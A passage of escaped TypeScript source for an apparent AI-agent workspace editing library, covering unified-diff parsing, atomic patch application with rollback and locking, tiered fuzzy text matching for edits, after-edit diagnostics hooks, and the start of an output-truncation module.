`binary-file`) naming the problem.\n *\n * A CRLF-wrapped patch is accepted: one trailing `\\r` is dropped from every\n * line.\n */\nexport function parsePatch(text: string): FilePatch[] {\n if (text.length > MAX_PATCH_CHARS) {\n throw invalid(`The patch is larger than ${MAX_PATCH_CHARS} characters; split it up.`);\n }\n\n const lines = text.split(\"\\n\").map((line) => (line.endsWith(\"\\r\") ? line.slice(0, -1) : line));\n const files: FilePatch[] = [];\n\n let current:\n | {\n git: boolean;\n oldPath: string | null | undefined;\n newPath: string | null | undefined;\n renameFrom?: string;\n renameTo?: string;\n isNew: boolean;\n isDeleted: boolean;\n hunks: PatchHunk[];\n }\n | undefined;\n\n const finish = (): void => {\n if (current === undefined) {\n return;\n }\n\n const state = current;\n\n current = undefined;\n\n let dashOld = state.oldPath;\n let dashNew = state.newPath;\n\n // A plain diff keeps its `a/` / `b/` prefixes (as `git diff --no-index`\n // and `diff -u a/x b/x` write them); drop them when both sides carry one.\n if (!state.git) {\n const oldOk = dashOld === undefined || dashOld === null || dashOld.startsWith(\"a/\");\n const newOk = dashNew === undefined || dashNew === null || dashNew.startsWith(\"b/\");\n\n if (oldOk && newOk) {\n dashOld = typeof dashOld === \"string\" ? dashOld.slice(2) : dashOld;\n dashNew = typeof dashNew === \"string\" ? dashNew.slice(2) : dashNew;\n }\n }\n\n let oldPath = state.renameFrom ?? dashOld;\n let newPath = state.renameTo ?? dashNew;\n\n if (state.isNew) {\n oldPath = null;\n }\n\n if (state.isDeleted) {\n newPath = null;\n }\n\n if (oldPath === undefined && newPath === undefined) {\n throw invalid(\"A file section of the patch names no file.\");\n }\n\n if (oldPath === undefined) {\n oldPath = newPath ?? null;\n }\n\n if (newPath === undefined) {\n newPath = oldPath;\n }\n\n const kind: FilePatchKind =\n oldPath === null\n ? \"create\"\n : newPath === null\n ? \"delete\"\n : oldPath !== newPath\n ? \"rename\"\n : \"modify\";\n\n // A section with neither hunks nor a structural change (e.g. a mode-only\n // change) has nothing to apply; skip it rather than touch the file.\n if (state.hunks.length === 0 && kind === \"modify\") {\n return;\n }\n\n files.push({ kind, oldPath, newPath, hunks: state.hunks });\n };\n\n const open = (git: boolean) => {\n finish();\n current = {\n git,\n oldPath: undefined,\n newPath: undefined,\n isNew: false,\n isDeleted: false,\n hunks: [],\n };\n\n return current;\n };\n\n for (let index = 0; index < lines.length; index++) {\n const line = lines[index] as string;\n\n if (line.startsWith(\"diff --git \")) {\n const section = open(true);\n const rest = line.slice(\"diff --git \".length);\n // Best effort for header-only sections (pure renames, mode changes):\n // `a/x b/y`. Refined by `---`/`+++`/`rename` lines when present.\n const split = rest.indexOf(\" b/\");\n\n if (rest.startsWith(\"a/\") && split !== -1) {\n section.oldPath = rest.slice(2, split);\n section.newPath = rest.slice(split + 3);\n }\n\n continue;\n }\n\n const startsPlainFile =\n line.startsWith(\"--- \") &&\n lines[index + 1]?.startsWith(\"+++ \") === true &&\n (current === undefined || (!current.git && current.hunks.length > 0));\n\n if (startsPlainFile) {\n open(false);\n } else if (current === undefined) {\n // Text before the first file header (a commit message, prose).\n if (line.startsWith(\"*** Begin Patch\")) {\n throw invalid(\n 'This is the \"*** Begin Patch\" format, not a unified diff. Send a unified diff (`--- a/file` / `+++ b/file` / `@@` hunks).',\n );\n }\n\n continue;\n }\n\n const section = current as NonNullable<typeof current>;\n\n if (line.startsWith(\"GIT binary patch\") || /^Binary files .* differ$/.test(line)) {\n const shown = section.newPath ?? section.oldPath ?? \"a file\";\n\n throw new WorkspaceEditError(\n `The patch changes a binary file (${shown}); binary files cannot be patched.`,\n { type: \"binary-file\", path: shown ?? \"\" },\n );\n }\n\n if (line.startsWith(\"copy from \") || line.startsWith(\"copy to \")) {\n throw invalid(\"Copies are not supported in a patch; create the new file instead.\");\n }\n\n if (line.startsWith(\"rename from \")) {\n section.renameFrom = cleanPath(line.slice(\"rename from \".length));\n continue;\n }\n\n if (line.startsWith(\"rename to \")) {\n section.renameTo = cleanPath(line.slice(\"rename to \".length));\n continue;\n }\n\n if (line.startsWith(\"new file mode\")) {\n section.isNew = true;\n continue;\n }\n\n if (line.startsWith(\"deleted file mode\")) {\n section.isDeleted = true;\n continue;\n }\n\n if (line.startsWith(\"--- \") && section.hunks.length === 0) {\n section.oldPath = stripPrefix(line.slice(4), section.git);\n\n if (section.oldPath === null) {\n section.isNew = true;\n }\n\n continue;\n }\n\n if (line.startsWith(\"+++ \") && section.hunks.length === 0) {\n section.newPath = stripPrefix(line.slice(4), section.git);\n\n if (section.newPath === null) {\n section.isDeleted = true;\n }\n\n continue;\n }\n\n const header = HUNK_HEADER.exec(line);\n\n if (header !== null) {\n const oldStart = Number(header[1]);\n const oldCount = header[2] === undefined ? 1 : Number(header[2]);\n let newCount = header[4] === undefined ? 1 : Number(header[4]);\n let remainingOld = oldCount;\n const hunk: PatchHunk = {\n oldStart,\n oldCount,\n lines: [],\n oldNoNewline: false,\n newNoNewline: false,\n };\n\n while (remainingOld > 0 || newCount > 0 || lines[index + 1]?.startsWith(\"\\\\\")) {\n const body = lines[index + 1];\n\n if (body === undefined) {\n break;\n }\n\n if (body.startsWith(\"\\\\\")) {\n const last = hunk.lines[hunk.lines.length - 1];\n\n if (last?.op !== \"+\") {\n hunk.oldNoNewline = true;\n }\n\n if (last?.op !== \"-\") {\n hunk.newNoNewline = true;\n }\n\n index++;\n continue;\n }\n\n if (remainingOld <= 0 && newCount <= 0) {\n break;\n }\n\n const op = body.charAt(0);\n\n if (op === \"+\" && newCount > 0) {\n hunk.lines.push({ op: \"+\", text: body.slice(1) });\n newCount--;\n } else if (op === \"-\" && remainingOld > 0) {\n hunk.lines.push({ op: \"-\", text: body.slice(1) });\n remainingOld--;\n } else if ((op === \" \" || body === \"\") && remainingOld > 0 && newCount > 0) {\n // An empty line is a context line whose single space was stripped.\n hunk.lines.push({ op: \" \", text: body.slice(1) });\n remainingOld--;\n newCount--;\n } else {\n break;\n }\n\n index++;\n }\n\n if (remainingOld > 0 || newCount > 0) {\n throw invalid(\n `Hunk ${section.hunks.length + 1} of ${section.newPath ?? section.oldPath ?? \"the patch\"} is truncated or its line counts in the @@ header are wrong.`,\n section.newPath ?? section.oldPath ?? \"\",\n );\n }\n\n section.hunks.push(hunk);\n continue;\n }\n\n // Anything else between sections (`index …`, `old mode`, `similarity index`, blanks) is ignored.\n }\n\n finish();\n\n if (files.length === 0) {\n throw invalid(\n \"The patch contains no file changes. Send a unified diff with ---/+++ headers and @@ hunks.\",\n );\n }\n\n if (files.length > MAX_PATCH_FILES) {\n throw invalid(`The patch touches more than ${MAX_PATCH_FILES} files; split it up.`);\n }\n\n return files;\n}\n","import { fs } from \"@warlock.js/fs\";\nimport { WorkspaceEditError } from \"../errors\";\nimport type { ApplyPatchFileResult, ApplyPatchInput, ApplyPatchResult } from \"../contracts\";\nimport { applyHunks } from \"./apply-hunks\";\nimport { parsePatch } from \"./parse-patch\";\n\n/** Largest file, in UTF-8 bytes, `applyPatch` will read and rewrite. */\nconst MAX_PATCH_FILE_BYTES = 10 * 1024 * 1024;\n\n/** The file operations the patch engine runs on; the workspace ops layer and the generic fallback each provide one. */\nexport interface PatchIO {\n /** Turn a patch path into a stable key plus a display path (and refuse a path outside the workspace). */\n resolve(inputPath: string): Promise<{ absolutePath: string; relativePath: string }>;\n exists(key: string): Promise<boolean>;\n stat?(key: string): Promise<{ type: string; size: number }>;\n /** Raw file content. */\n read(key: string): Promise<string>;\n /** Write content, creating parent directories. */\n write(key: string, content: string): Promise<void>;\n remove(key: string): Promise<void>;\n withLock<T>(key: string, task: () => Promise<T>): Promise<T>;\n display(key: string): string;\n}\n\nexport async function executePatch(input: ApplyPatchInput, io: PatchIO): Promise<ApplyPatchResult> {\n {\n const filePatches = parsePatch(input.patch);\n\n // Resolve every path through the jail first (symlinks, `..`, deny globs).\n const targets = await Promise.all(\n filePatches.map(async (filePatch) => ({\n filePatch,\n from: filePatch.oldPath === null ? null : await io.resolve(filePatch.oldPath),\n to: filePatch.newPath === null ? null : await io.resolve(filePatch.newPath),\n })),\n );\n\n const lockPaths = [\n ...new Set(\n targets.flatMap((target) =>\n [target.from?.absolutePath, target.to?.absolutePath].filter(\n (value): value is string => value !== undefined,\n ),\n ),\n ),\n ].sort();\n\n const run = async (): Promise<ApplyPatchResult> => {\n // Virtual tree: absolute path -> content (null = removed). Later file\n // patches see the result of earlier ones.\n const staged = new Map<string, string | null>();\n const original = new Map<string, string | null>();\n const results: ApplyPatchFileResult[] = [];\n\n const load = async (absolutePath: string, shown: string): Promise<string | null> => {\n if (staged.has(absolutePath)) {\n return staged.get(absolutePath) ?? null;\n }\n\n if (!(await io.exists(absolutePath))) {\n original.set(absolutePath, null);\n\n return null;\n }\n\n const stat = io.stat ? await io.stat(absolutePath) : undefined;\n\n if (stat !== undefined && stat.type !== \"file\") {\n throw new WorkspaceEditError(`\"${shown}\" is not a regular file; it cannot be patched.`, {\n type: \"file-missing\",\n path: shown,\n });\n }\n\n if (stat !== undefined && stat.size > MAX_PATCH_FILE_BYTES) {\n throw new WorkspaceEditError(\n `\"${shown}\" is larger than ${MAX_PATCH_FILE_BYTES} bytes; it cannot be patched.`,\n { type: \"patch-invalid\", path: shown },\n );\n }\n\n const content = await io.read(absolutePath);\n\n if (content.includes(\"\\0\")) {\n throw new WorkspaceEditError(\n `\"${shown}\" is a binary file; binary files cannot be patched.`,\n {\n type: \"binary-file\",\n path: shown,\n },\n );\n }\n\n original.set(absolutePath, content);\n\n return content;\n };\n\n for (const { filePatch, from, to } of targets) {\n const shownFrom = from?.relativePath || filePatch.oldPath || \"\";\n const shownTo = to?.relativePath || filePatch.newPath || \"\";\n\n if (filePatch.kind === \"create\") {\n const absolutePath = (to as NonNullable<typeof to>).absolutePath;\n\n if ((await load(absolutePath, shownTo)) !== null) {\n throw new WorkspaceEditError(\n `\"${shownTo}\" already exists; the patch cannot create it.`,\n {\n type: \"file-exists\",\n path: shownTo,\n },\n );\n }\n\n const content = applyHunks(\"\", filePatch.hunks, shownTo);\n\n staged.set(absolutePath, content);\n results.push({\n path: shownTo,\n action: \"created\",\n hunks: filePatch.hunks.length,\n hash: fs.hash.string(content),\n });\n\n continue;\n }\n\n const source = (from as NonNullable<typeof from>).absolutePath;\n const current = await load(source, shownFrom);\n\n if (current === null) {\n throw new WorkspaceEditError(\n `\"${shownFrom}\" does not exist; the patch cannot change it.`,\n {\n type: \"file-missing\",\n path: shownFrom,\n },\n );\n }\n\n const updated = applyHunks(current, filePatch.hunks, shownFrom);\n\n if (filePatch.kind === \"delete\") {\n if (updated !== \"\") {\n throw new WorkspaceEditError(\n `The patch deletes \"${shownFrom}\" but its hunks do not remove all of the file's content.`,\n {\n type: \"hunk-failed\",\n path: shownFrom,\n hunkIndex: Math.max(filePatch.hunks.length - 1, 0),\n },\n );\n }\n\n staged.set(source, null);\n results.push({ path: shownFrom, action: \"deleted\", hunks: filePatch.hunks.length });\n\n continue;\n }\n\n if (filePatch.kind === \"rename\") {\n const destination = (to as NonNullable<typeof to>).absolutePath;\n\n if (destination !== source && (await load(destination, shownTo)) !== null) {\n throw new WorkspaceEditError(\n `\"${shownTo}\" already exists; the patch cannot rename \"${shownFrom}\" onto it.`,\n { type: \"file-exists\", path: shownTo },\n );\n }\n\n staged.set(source, null);\n staged.set(destination, updated);\n results.push({\n path: shownTo,\n action: \"renamed\",\n oldPath: shownFrom,\n hunks: filePatch.hunks.length,\n hash: fs.hash.string(updated),\n });\n\n continue;\n }\n\n staged.set(source, updated);\n results.push({\n path: shownFrom,\n action: \"modified\",\n hunks: filePatch.hunks.length,\n hash: fs.hash.string(updated),\n });\n }\n\n if (input.dryRun === true) {\n return { files: results, dryRun: true };\n }\n\n // Commit. Anything that fails part-way is rolled back to the original state.\n const touched: string[] = [];\n\n try {\n for (const [absolutePath, content] of staged) {\n if (content !== null && content !== (original.get(absolutePath) ?? null)) {\n await io.write(absolutePath, content);\n touched.push(absolutePath);\n }\n }\n\n for (const [absolutePath, content] of staged) {\n if (\n content === null &&\n original.get(absolutePath) !== null &&\n original.has(absolutePath)\n ) {\n await io.remove(absolutePath);\n touched.push(absolutePath);\n }\n }\n } catch (error) {\n const failures: string[] = [];\n\n for (const absolutePath of touched.reverse()) {\n try {\n const before = original.get(absolutePath) ?? null;\n\n if (before === null) {\n if (await io.exists(absolutePath)) {\n await io.remove(absolutePath);\n }\n } else {\n await io.write(absolutePath, before);\n }\n } catch {\n failures.push(io.display(absolutePath));\n }\n }\n\n const reason = error instanceof Error ? error.message : String(error);\n\n throw new WorkspaceEditError(\n `Writing the patch failed (${reason}); ${failures.length === 0 ? \"every change was rolled back\" : `could not restore: ${failures.join(\", \")}`}.`,\n { type: \"patch-invalid\", path: \"\" },\n );\n }\n\n return { files: results, dryRun: false };\n };\n\n // Hold every touched path's lock (sorted, so concurrent patches cannot deadlock).\n const locked = lockPaths.reduceRight<() => Promise<ApplyPatchResult>>(\n (inner, lockPath) => () => io.withLock(lockPath, inner),\n run,\n );\n\n return locked();\n }\n}\n","import path from \"node:path\";\nimport { fs } from \"@warlock.js/fs\";\nimport { WorkspaceEditError } from \"../errors\";\nimport type { ApplyPatchInput, ApplyPatchResult, WorkspaceOps } from \"../contracts\";\nimport { executePatch } from \"./execute-patch\";\n\n/** Most lines the generic reader asks `readFile` for. */\nconst MAX_READ_LINES = 1_000_000;\n\n/**\n * Raw content of a file through `ops.readFile`, which returns numbered lines.\n * The numbering is stripped and the trailing newline restored by checking the\n * result against the file's hash, so the content is exact or the read fails.\n */\nasync function readRaw(ops: WorkspaceOps, filePath: string): Promise<string> {\n const result = await ops.readFile(filePath, { offset: 1, limit: MAX_READ_LINES });\n\n if (result.truncated || result.bytesCapped) {\n throw new WorkspaceEditError(\n `\"${filePath}\" is too large to read in full; it cannot be patched.`,\n { type: \"patch-invalid\", path: filePath },\n );\n }\n\n const lines =\n result.totalLines === 0\n ? []\n : result.content.split(\"\\n\").map((line) => line.replace(/^ *\\d+\\t/, \"\"));\n const joined = lines.join(\"\\n\");\n\n for (const candidate of [joined + \"\\n\", joined, \"\"]) {\n if (fs.hash.string(candidate) === result.hash) {\n return candidate;\n }\n }\n\n throw new WorkspaceEditError(`Could not read \"${filePath}\" exactly; it cannot be patched.`, {\n type: \"patch-invalid\",\n path: filePath,\n });\n}\n\n/**\n * `applyPatch` for a custom {@link WorkspaceOps} that does not provide its\n * own: the same engine and the same all-or-nothing behaviour, built on the\n * ops it does have (`exists`, `readFile`, `writeFile`, `remove`). Every\n * hunk of every file is checked in memory first; the writes then run, and if\n * one fails the ones already done are put back.\n */\nexport function applyPatchWithOps(\n ops: WorkspaceOps,\n input: ApplyPatchInput,\n): Promise<ApplyPatchResult> {\n // Keys are normalised relative paths; the ops enforce their own jail on each call.\n const chain = new Map<string, Promise<unknown>>();\n\n return executePatch(input, {\n resolve: async (inputPath) => {\n const key = path.posix.normalize(inputPath.replace(/\\\\/g, \"/\"));\n\n return { absolutePath: key, relativePath: key };\n },\n exists: (key) => ops.exists(key),\n read: (key) => readRaw(ops, key),\n write: async (key, content) => {\n await ops.writeFile(key, content);\n },\n remove: (key) => ops.remove(key),\n withLock: async (key, task) => {\n const previous = chain.get(key) ?? Promise.resolve();\n const current = previous.then(task, task);\n\n chain.set(\n key,\n current.catch(() => undefined),\n );\n\n return current;\n },\n display: (key) => key,\n });\n}\n","/**\n * How `edit_file` / `multi_edit` find `oldString` in a file.\n *\n * - `\"exact\"` — the text must appear byte for byte.\n * - `\"tiered\"` (default) — try the exact text first, then fall back, in order,\n * to the same text with line endings normalised, with look-alike Unicode\n * punctuation folded (curly quotes, dashes, non-breaking spaces), and\n * finally line by line ignoring trailing whitespace. The first tier that\n * finds the text wins.\n */\nexport type WorkspaceEditMatching = \"exact\" | \"tiered\";\n\n/** The tier that located an edit's text. */\nexport type WorkspaceEditMatchTier = \"exact\" | \"unicode\" | \"whitespace\";\n\n/** Half-open character range `[start, end)` in the original file content. */\nexport interface EditRange {\n start: number;\n end: number;\n}\n\n/** Where `oldString` was found. */\nexport interface EditLocation {\n /** The tier that matched; `null` when none did. */\n tier: WorkspaceEditMatchTier | null;\n /** Non-overlapping ranges in the original content, ascending. */\n ranges: EditRange[];\n /** True when the match went through the line-ending-normalised view. */\n viaView: boolean;\n}\n\n/** Most lines of file text a miss hint shows. */\nexport const MAX_HINT_LINES = 12;\n/** Most characters of one line a miss hint shows. */\nexport const MAX_HINT_LINE_CHARS = 200;\n\nconst FOLD_MAP: Record<string, string> = {\n \"‘\": \"'\",\n \"’\": \"'\",\n \"‚\": \"'\",\n \"‛\": \"'\",\n \"“\": '\"',\n \"”\": '\"',\n \"„\": '\"',\n \"‟\": '\"',\n \"‐\": \"-\",\n \"‑\": \"-\",\n \"‒\": \"-\",\n \"–\": \"-\",\n \"—\": \"-\",\n \"―\": \"-\",\n \"−\": \"-\",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n};\n\n/** Fold look-alike characters one for one, so string indexes stay aligned. */\nexport function foldUnicode(value: string): string {\n let out = \"\";\n\n for (const char of value) {\n out += FOLD_MAP[char] ?? char;\n }\n\n return out;\n}\n\n/** Every non-overlapping occurrence of `needle` in `haystack`. */\nfunction findAll(haystack: string, needle: string): EditRange[] {\n const ranges: EditRange[] = [];\n\n if (needle === \"\") {\n return ranges;\n }\n\n let from = 0;\n\n for (;;) {\n const index = haystack.indexOf(needle, from);\n\n if (index === -1) {\n return ranges;\n }\n\n ranges.push({ start: index, end: index + needle.length });\n from = index + needle.length;\n }\n}\n\n/** The file's dominant line ending. */\nexport function detectEol(content: string): \"\\n\" | \"\\r\\n\" {\n const crlf = content.split(\"\\r\\n\").length - 1;\n const lf = content.split(\"\\n\").length - 1 - crlf;\n\n return crlf > lf ? \"\\r\\n\" : \"\\n\";\n}\n\n/** Convert any line endings in `text` to `eol`. */\nexport function withEol(text: string, eol: \"\\n\" | \"\\r\\n\"): string {\n const normalised = text.replace(/\\r\\n/g, \"\\n\");\n\n return eol === \"\\n\" ? normalised : normalised.replace(/\\n/g, \"\\r\\n\");\n}\n\n/** An LF view of `content` plus the original index of each view character. */\nfunction lfView(content: string): { view: string; map: number[] | null } {\n if (!content.includes(\"\\r\\n\")) {\n return { view: content, map: null };\n }\n\n let view = \"\";\n const map: number[] = [];\n\n for (let index = 0; index < content.length; index++) {\n if (content[index] === \"\\r\" && content[index + 1] === \"\\n\") {\n continue;\n }\n\n // A `\\n` that came from `\\r\\n` points at the `\\r`, so a range starting\n // on it takes the whole line break.\n map.push(content[index] === \"\\n\" && content[index - 1] === \"\\r\" ? index - 1 : index);\n view += content[index];\n }\n\n map.push(content.length);\n\n return { view, map };\n}\n\n/** Line-based search ignoring trailing whitespace, on already folded text. */\nfunction findByLines(view: string, needle: string): EditRange[] {\n const needleLines = needle.split(\"\\n\");\n const endsWithBreak = needleLines.length > 1 && needleLines[needleLines.length - 1] === \"\";\n\n if (endsWithBreak) {\n needleLines.pop();\n }\n\n const wanted = needleLines.map((line) => line.trimEnd());\n\n if (wanted.every((line) => line === \"\")) {\n return [];\n }\n\n const lines = view.split(\"\\n\");\n const starts: number[] = [];\n let offset = 0;\n\n for (const line of lines) {\n starts.push(offset);\n offset += line.length + 1;\n }\n\n const ranges: EditRange[] = [];\n\n for (let index = 0; index + wanted.length <= lines.length;) {\n let same = true;\n\n for (let k = 0; k < wanted.length; k++) {\n if ((lines[index + k] ?? \"\").trimEnd() !== wanted[k]) {\n same = false;\n\n break;\n }\n }\n\n if (!same) {\n index++;\n\n continue;\n }\n\n const last = index + wanted.length - 1;\n let end = (starts[last] ?? 0) + (lines[last] ?? \"\").length;\n\n if (endsWithBreak && view[end] === \"\\n\") {\n end++;\n }\n\n ranges.push({ start: starts[index] ?? 0, end });\n index += wanted.length;\n }\n\n return ranges;\n}\n\n/**\n * Find `oldString` in `content`. `\"exact\"` only looks for the text as given;\n * `\"tiered\"` walks the tiers described on {@link WorkspaceEditMatching} and\n * stops at the first one with a match. The ranges are always in the original\n * content, whatever view found them.\n */\nexport function locateEdit(\n content: string,\n oldString: string,\n matching: WorkspaceEditMatching,\n): EditLocation {\n const exact = findAll(content, oldString);\n\n if (exact.length > 0 || matching === \"exact\") {\n return { tier: exact.length > 0 ? \"exact\" : null, ranges: exact, viaView: false };\n }\n\n const { view, map } = lfView(content);\n const needle = oldString.replace(/\\r\\n/g, \"\\n\");\n const back = (ranges: EditRange[]): EditRange[] =>\n map === null\n ? ranges\n : ranges.map((range) => ({\n start: map[range.start] ?? content.length,\n end: map[range.end] ?? content.length,\n }));\n\n if (map !== null || needle !== oldString) {\n const plain = findAll(view, needle);\n\n if (plain.length > 0) {\n return { tier: \"exact\", ranges: back(plain), viaView: true };\n }\n }\n\n const foldedView = foldUnicode(view);\n const foldedNeedle = foldUnicode(needle);\n const folded = findAll(foldedView, foldedNeedle);\n\n if (folded.length > 0) {\n return { tier: \"unicode\", ranges: back(folded), viaView: true };\n }\n\n const lined = findByLines(foldedView, foldedNeedle);\n\n if (lined.length > 0) {\n return { tier: \"whitespace\", ranges: back(lined), viaView: true };\n }\n\n return { tier: null, ranges: [], viaView: false };\n}\n\nfunction clipLine(line: string): string {\n const flat = line.replace(/\\r$/, \"\");\n\n return flat.length > MAX_HINT_LINE_CHARS ? `${flat.slice(0, MAX_HINT_LINE_CHARS)}…` : flat;\n}\n\nfunction tokens(line: string): Set<string> {\n return new Set(line.match(/[A-Za-z0-9_$]+/g) ?? []);\n}\n\nfunction similarity(left: Set<string>, right: Set<string>): number {\n if (left.size === 0 || right.size === 0) {\n return 0;\n }\n\n let shared = 0;\n\n for (const token of left) {\n if (right.has(token)) {\n shared++;\n }\n }\n\n return shared / (left.size + right.size - shared);\n}\n\n/**\n * Explain a miss: either `newString` is already in the file (the edit was\n * probably applied), or the file text closest to `oldString`, at most\n * {@link MAX_HINT_LINES} lines of {@link MAX_HINT_LINE_CHARS} characters.\n * `undefined` when nothing is close.\n */\nexport function describeMiss(\n content: string,\n oldString: string,\n newString: string,\n maxLines: number = MAX_HINT_LINES,\n): string | undefined {\n if (maxLines <= 0) {\n return undefined;\n }\n\n const lines = content.split(\"\\n\");\n const present = newString.trim() === \"\" ? -1 : content.indexOf(newString);\n\n if (present !== -1 && newString !== oldString) {\n const line = content.slice(0, present).split(\"\\n\").length;\n\n return `newString already present in the file (line ${line}); the edit may already have been applied.`;\n }\n\n const fileTokens = lines.map((line) => tokens(line));\n const wanted = oldString.split(\"\\n\");\n let best = { score: 0, fileLine: -1, offset: 0 };\n\n wanted.forEach((text, offset) => {\n const own = tokens(text);\n\n fileTokens.forEach((candidate, fileLine) => {\n const score = similarity(own, candidate);\n\n if (score > best.score) {\n best = { score, fileLine, offset };\n }\n });\n });\n\n if (best.fileLine === -1 || best.score < 0.5) {\n return undefined;\n }\n\n const first = Math.max(0, best.fileLine - best.offset);\n const count = Math.min(maxLines, MAX_HINT_LINES, Math.max(1, wanted.length));\n const shown = lines\n .slice(first, first + count)\n .map((line, index) => `${first + index + 1}: ${clipLine(line)}`);\n\n return `Closest text in the file (lines ${first + 1}-${first + shown.length}):\\n${shown.join(\"\\n\")}`;\n}\n","import { WorkspaceEditError } from \"../errors\";\nimport type { MultiEditOperation, WorkspaceEditLineEndings } from \"../contracts\";\nimport {\n describeMiss,\n detectEol,\n locateEdit,\n withEol,\n type WorkspaceEditMatching,\n type WorkspaceEditMatchTier,\n} from \"./match\";\n\n/** What one applied replacement did. */\nexport interface AppliedReplacement {\n content: string;\n replacements: number;\n /** The tier that matched, set only when it was a fuzzy one. */\n matchTier?: Exclude<WorkspaceEditMatchTier, \"exact\">;\n}\n\n/** The edit-policy settings {@link applyReplacement} honours. */\nexport interface AppliedReplacementOptions {\n matching: WorkspaceEditMatching;\n /** Most lines a miss hint shows; `0` for none. */\n missHintLines: number;\n /** Cap on a miss hint's size in bytes (the read policy's `maxBytes`). */\n hintMaxBytes?: number;\n lineEndings: WorkspaceEditLineEndings;\n}\n\n/**\n * Apply one replacement to `content` under the edit rules: `oldString` must\n * be found (see {@link WorkspaceEditMatching}), and exactly once unless\n * `replaceAll` — a fuzzy match must always be unique, so a loose match never\n * rewrites several places at once.\n */\nexport function applyReplacement(\n content: string,\n edit: MultiEditOperation,\n inputPath: string,\n shownPath: string,\n options: AppliedReplacementOptions,\n editIndex?: number,\n): AppliedReplacement {\n const { matching } = options;\n const located = edit.oldString === \"\" ? null : locateEdit(content, edit.oldString, matching);\n const count = located?.ranges.length ?? 0;\n const which = editIndex === undefined ? \"\" : `Edit ${editIndex + 1}: `;\n const nothingApplied = editIndex === undefined ? \"\" : \" None of the edits were applied.\";\n const indexOption = editIndex === undefined ? {} : { editIndex };\n\n if (located === null || count === 0) {\n let hint = describeMiss(content, edit.oldString, edit.newString, options.missHintLines);\n\n if (hint !== undefined && options.hintMaxBytes !== undefined) {\n hint = Buffer.byteLength(hint, \"utf8\") > options.hintMaxBytes ? undefined : hint;\n }\n\n throw new WorkspaceEditError(\n `${which}The text to replace was not found in \"${inputPath}\".` +\n (hint === undefined ? \"\" : ` ${hint}`) +\n nothingApplied,\n {\n type: \"not-found\",\n path: shownPath,\n matches: 0,\n ...(hint !== undefined ? { hint } : {}),\n ...indexOption,\n },\n );\n }\n\n const fuzzy = located.tier !== \"exact\";\n\n if (count > 1 && (!edit.replaceAll || fuzzy)) {\n const advice = fuzzy\n ? \"include more surrounding context.\"\n : \"pass replaceAll or include more surrounding context.\";\n\n throw new WorkspaceEditError(\n `${which}The text to replace is not unique in \"${inputPath}\" (${count} matches${\n fuzzy && located.viaView ? \", found by loose matching\" : \"\"\n }); ${advice}${nothingApplied}`,\n { type: \"not-unique\", path: shownPath, matches: count, ...indexOption },\n );\n }\n\n const eol =\n options.lineEndings === \"lf\"\n ? \"\\n\"\n : options.lineEndings === \"crlf\"\n ? \"\\r\\n\"\n : matching === \"tiered\"\n ? detectEol(content)\n : undefined;\n const replacement = eol === undefined ? edit.newString : withEol(edit.newString, eol);\n const ranges = edit.replaceAll ? located.ranges : located.ranges.slice(0, 1);\n let out = \"\";\n let cursor = 0;\n\n for (const range of ranges) {\n out += content.slice(cursor, range.start) + replacement;\n cursor = range.end;\n }\n\n out += content.slice(cursor);\n\n return {\n content: out,\n replacements: ranges.length,\n ...(fuzzy ? { matchTier: located.tier as \"unicode\" | \"whitespace\" } : {}),\n };\n}\n","import type { WorkspaceAfterEditEvent, WorkspacePolicy } from \"../contracts\";\n\n/** How long a hook may take when the policy sets no `afterEditTimeoutMs`. */\nconst DEFAULT_HOOK_TIMEOUT_MS = 10_000;\n/** Longest diagnostics text kept when the policy sets no `afterEditMaxChars`. */\nconst DEFAULT_MAX_CHARS = 4_000;\n\nfunction wrap(text: string): string {\n return `[diagnostics]\\n${text}\\n[/diagnostics]`;\n}\n\n/**\n * Run the policy's `afterEdit` hook for one call and return the text to put\n * on the result's `diagnostics`, or `undefined` when there is none. A throw\n * or a timeout yields \"diagnostics unavailable\"; it never rejects.\n */\nexport async function runAfterEdit(\n policy: WorkspacePolicy,\n event: WorkspaceAfterEditEvent,\n): Promise<string | undefined> {\n const hook = policy.hooks?.afterEdit;\n\n if (hook === undefined || event.paths.length === 0) {\n return undefined;\n }\n\n const timeoutMs = policy.hooks?.afterEditTimeoutMs ?? DEFAULT_HOOK_TIMEOUT_MS;\n const maxChars = policy.hooks?.afterEditMaxChars ?? DEFAULT_MAX_CHARS;\n let timer: ReturnType<typeof setTimeout> | undefined;\n\n try {\n const answer = await Promise.race([\n Promise.resolve().then(() => hook(event)),\n new Promise<never>((_resolve, reject) => {\n timer = setTimeout(() => reject(new Error(\"afterEdit hook timed out\")), timeoutMs);\n }),\n ]);\n\n if (typeof answer !== \"string\" || answer.trim() === \"\") {\n return undefined;\n }\n\n const text = answer.trim();\n\n return wrap(\n text.length > maxChars\n ? `${text.slice(0, maxChars)}\\n[diagnostics truncated: showing ${maxChars} of ${text.length} characters]`\n : text,\n );\n } catch {\n return wrap(\"diagnostics unavailable\");\n } finally {\n clearTimeout(timer);\n }\n}\n","import path from \"node:path\";\nimport type {\n WorkspaceBackend,\n WorkspaceOutputKeep,\n WorkspacePolicy,\n WorkspaceTruncation,\n} from \"../contracts\";\nimport { resolveSpillDir } from \"./spill-dir\";\n\nconst DEFAULT_MAX_LINES = 2000;\nconst DEFAULT_MAX_BYTES = 50 * 1024;\nconst DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1000;\nconst SPILL_NAME = /^spill-(\\d+)-[a-z0-9]+-[a-z0-9_-]+\\.txt$/;\n\n/** What spilling an output produced. */\nexport interface SpilledText {\n /** The text to return (marker included). */\n value: string;\n /** Set when anything was left out. */\n truncation?: WorkspaceTruncation;\n}\n\n/** What spilling a list of entries produced. */\nexport interface SpilledList<T> {\n items: T[];\n truncation?: WorkspaceTruncation;\n}\n\nfunction byteLength(value: string): number {\n return Buffer.byteLength(value, \"utf8\");\n}\n\n/** The first `maxBytes` bytes of `value`, cut on a character boundary. */\nfunction headOf(value: string, maxBytes: number): string {\n const bytes = Buffer.from(value, \"utf8\");\n\n if (bytes.byteLength <= maxBytes) {\n return value;\n }\n\n let cut = Math.max(0, maxBytes);\n\n while (cut > 0 && ((bytes[cut] ?? 0) & 0xc0) === 0x80) {\n cut--;\n }\n\n return bytes.subarray(0, cut).toString(\"utf8\");\n}\n\n/** The last `maxBytes` bytes of `value`, cut on a character boundary. */\nfunction tailOf(value: string, maxBytes: number): string {\n const bytes = Buffer.from(value, \"utf8\");\n\n if (bytes.byteLength <= maxBytes) {\n return value;\n }\n\n let from = bytes.byteLength - 